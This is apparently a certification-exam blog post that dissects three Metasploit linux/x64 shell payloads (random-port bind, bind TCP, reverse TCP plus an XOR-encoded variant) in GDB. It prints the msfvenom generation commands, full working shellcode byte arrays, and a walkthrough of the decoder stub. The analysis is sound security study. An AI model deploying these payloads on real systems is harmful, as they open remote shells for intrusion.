SLAE64 - Metasploit analysis
The fifth assignment of the SLAE64 exam states:
- Take up at least 3 shellcode samples created using Msfvenom (née Msfpayload) for linux/x86_64
- Use GDB to dissect the functionality of the shellcode
- Document your analysis
One thing that immediately stands out is the relative lack in diversity when it comes to linux/x64
payloads. In the end I chose the following payloads for my analysis:
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_bind_tcp
linux/x64/shell_reverse_tcp
shell_bind_tcp_random_port⌗
The latter two payloads I chose because of how often their used and I wanted to determine what exactly they do precisely because of their popularity. That is not why I chose shell_bind_tcp_random_port
however. I was merely curious how the random port selection worked.
So without further ado, lets get started:
kalimah% msfvenom --payload linux/x64/shell_bind_tcp_random_port -f c --platform linux --arch x64
No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
Final size of c file: 264 bytes
unsigned char buf[] =
"\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02\x5f\xb0\x29\x0f\x05"
"\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
"\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";
First let’s verify it actually works; so after dropping this into our shellcode wrapper and determining the port it has chosen with netstat
we do get a working shell on port 59937. Good.
Quickly scrolling through the disassembly to determine which syscalls are made we get this list in order of usage:
- 0x29 = socket
- 0x32 = listen
- 0x2b = accept
- 0x21 = dup2
- 0x3b = execve
But nothing related to randomness like getrandom
…let’s dissect this.
It starts by clearing RSI and through the mul
call also ends up clearing RDX. Next RSI gets incremented, 0x2
get pushed onto the stack and popped into RDI. All the arguments for the socket
syscall are in place and after storing the syscall number for socket
into RAX the call gets made.
RSI gets cleared by pushing RDX (0) onto the stack and popping it into RSI. Next the file descriptor number that socket
returned in RAX is moved to RDI via the stack, the syscall number for listen
gets set and the syscall is made…but we never set up sockaddr_in
nor called the bind
syscall? Previously we set sockaddr_in
up on the stack with our port but here it’s completely ignored and NULL is used.
It gets even stranger because the next instruction moves the syscall number for accept
into RAX and directly does the syscall…again nothing is set up for the client sockaddr_in
structure?
However at this point we can see our shellcode is actually listening on different port (60807) than it previously was.
From here on it does the regular dup2
dance and pushes the /bin//sh
string onto the stack before using execve
to launch a shell.
So by leaving out the bind
call we got the kernel to randomly select a port for us it seems. After searching around for a bit I ran into evidence to support that claim: " Fortunately, this is easily done by requesting port 0, which instructs the system to choose an ephemeral port number." And by not having called bind
on the socket and leaving the associated data structure empty we’ve requested port 0 and got a random port back. Nifty.
shell_bind_tcp⌗
kalimah% msfvenom --payload linux/x64/shell_bind_tcp -f c --platform linux --arch x64 LPORT=4444
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 386 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
One interesting observation off the bat is that msfvenom reports a payload size of 86 bytes, while our wrapper reports a length of 19:
As you can see in the bytecode buffer however there is a NULL byte which is essentially what our wrapper complains about.
The code starts by moving the first syscall number 0x29 for socket
into RAX via the stack. Then the cdq
instruction is used to effectively zero out RDX by sign extending the value in RAX over RDX:RAX. Then it continues to prepare the arguments for socket
and invokes the syscall before atomically swapping RAX (returned socket file descriptor) with RDI.
Then we run into our NULL byte:
mov DWORD PTR [rsp],0x5c110002
It then moves two words of data corresponding to the sockaddr_in
fields sin_port
and sin_family
in one go. The port number 0x5c11 (4444) is fine, but the family is also a word in size. Yet we only want to indicate using AF_INET
(2), so it ends up pushing the word 0x0002
. In our first assignment we’ve demonstrated how to get rid of this NULL byte:
xor rax, rax
push rax ; sin_zero
push rax ; zero out another 8 bytes for remaining members
; including 4 bytes for sin_addr.s_addr which
; need to remain 0
mov word [rsp+2], 0x5c11 ; sin_port
mov byte [rsp], 0x2 ; sin_family
The remainder is basically equivalent to what was discussed before, this time doing the bind
syscall.
shell_reverse_tcp⌗
Finally let’s have a look at the reverse shell offered by msfvenom:
kalimah% msfvenom --payload linux/x64/shell_reverse_tcp -f c --platform linux --arch x64 LPORT=4444 LHOST=127.0.0.1
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of c file: 335 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
And again we see the NULL byte…multiple actually:
movabs rcx,0x100007f5c110002
This time three fields of sockaddr_in
get pushed onto the stack in one go. Just like with the previous shellcode sin_port
and sin_family
get pushed, but this time also s_addr
comes along.
The remainder of the shellcode is not too interesting as we have seen the same dance before in assignment 2. So instead, let’s see if there’s a way with msfvenom to get rid of these NULL bytes. Turns out we can simply pass --bad-chars '\x00'
:
kalimah% msfvenom --payload linux/x64/shell_reverse_tcp -f c --platform linux --arch x64 --bad-chars '\x00' LPORT=4444 LHOST=127.0.0.1
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=17, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of c file: 524 bytes
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xfc\x9e\xcf\x93\xf1\xbd\x14\x29\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x96\xb7\x97\x0a\x9b\xbf"
"\x4b\x43\xfd\xc0\xc0\x96\xb9\x2a\x5c\x90\xfe\x9e\xde\xcf\x8e"
"\xbd\x14\x28\xad\xd6\x46\x75\x9b\xad\x4e\x43\xd6\xc6\xc0\x96"
"\x9b\xbe\x4a\x61\x03\x50\xa5\xb2\xa9\xb2\x11\x5c\x0a\xf4\xf4"
"\xcb\x68\xf5\xaf\x06\x9e\xf7\xa1\xbc\x82\xd5\x14\x7a\xb4\x17"
"\x28\xc1\xa6\xf5\x9d\xcf\xf3\x9b\xcf\x93\xf1\xbd\x14\x29";
As you can see there are no NULLs and msfvenom used an encoder (x64/xor) to bypass the NULL bytes.
But what does it actually do now?
Interesting…there is a lot more going on now.
It starts by clearing RCX and setting the value 10 into it. Then it uses RIP relative addressing to save into RAX the address of where it is right now minus 17. That is the address where we started out by clearing RCX.
Next it moves 0x2914bdf193cf9efc
into RBX which appear to be other instructions as decoded with Python:
>>> '2914bdf193cf9efc'.decode('hex')
')\x14\xbd\xf1\x93\xcf\x9e\xfc'
>>>
Now we seem to have hit upon the decoder. It proceeds to xor
’s the contents of RBX with those of RAX+0x27
, subtracts -8 from RAX (effectively adding 8) and loops back to the xor
. Thus it’s moving through the remaining instructions and decoding them one quad word at a time until the counter in RCX reaches zero. That’s when the remainder of the program becomes usable and we have our decoded program:
Lessons learned⌗
- Requesting port 0 gets you a random port!
- The
cdq
instruction can also be used to clear RDX when RAX has just been cleared. This can help to reduce code size. - msfvenom does interesting things to throw off analysis when using an encoder. The XOR encoder was easy to decode by hand but it is obvious where it’s trying to trick analysis tools.
Wrapping up⌗
I have uploaded the msfvenom code to jasperla/slae64 on GitHub:
- shellcode-bind-tcp.c
- shellcode-random-port.c
- shellcode-reverse-tcp.c
- shellcode-reverse-tcp-encoded.c
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification. Student ID: SLAE64-1614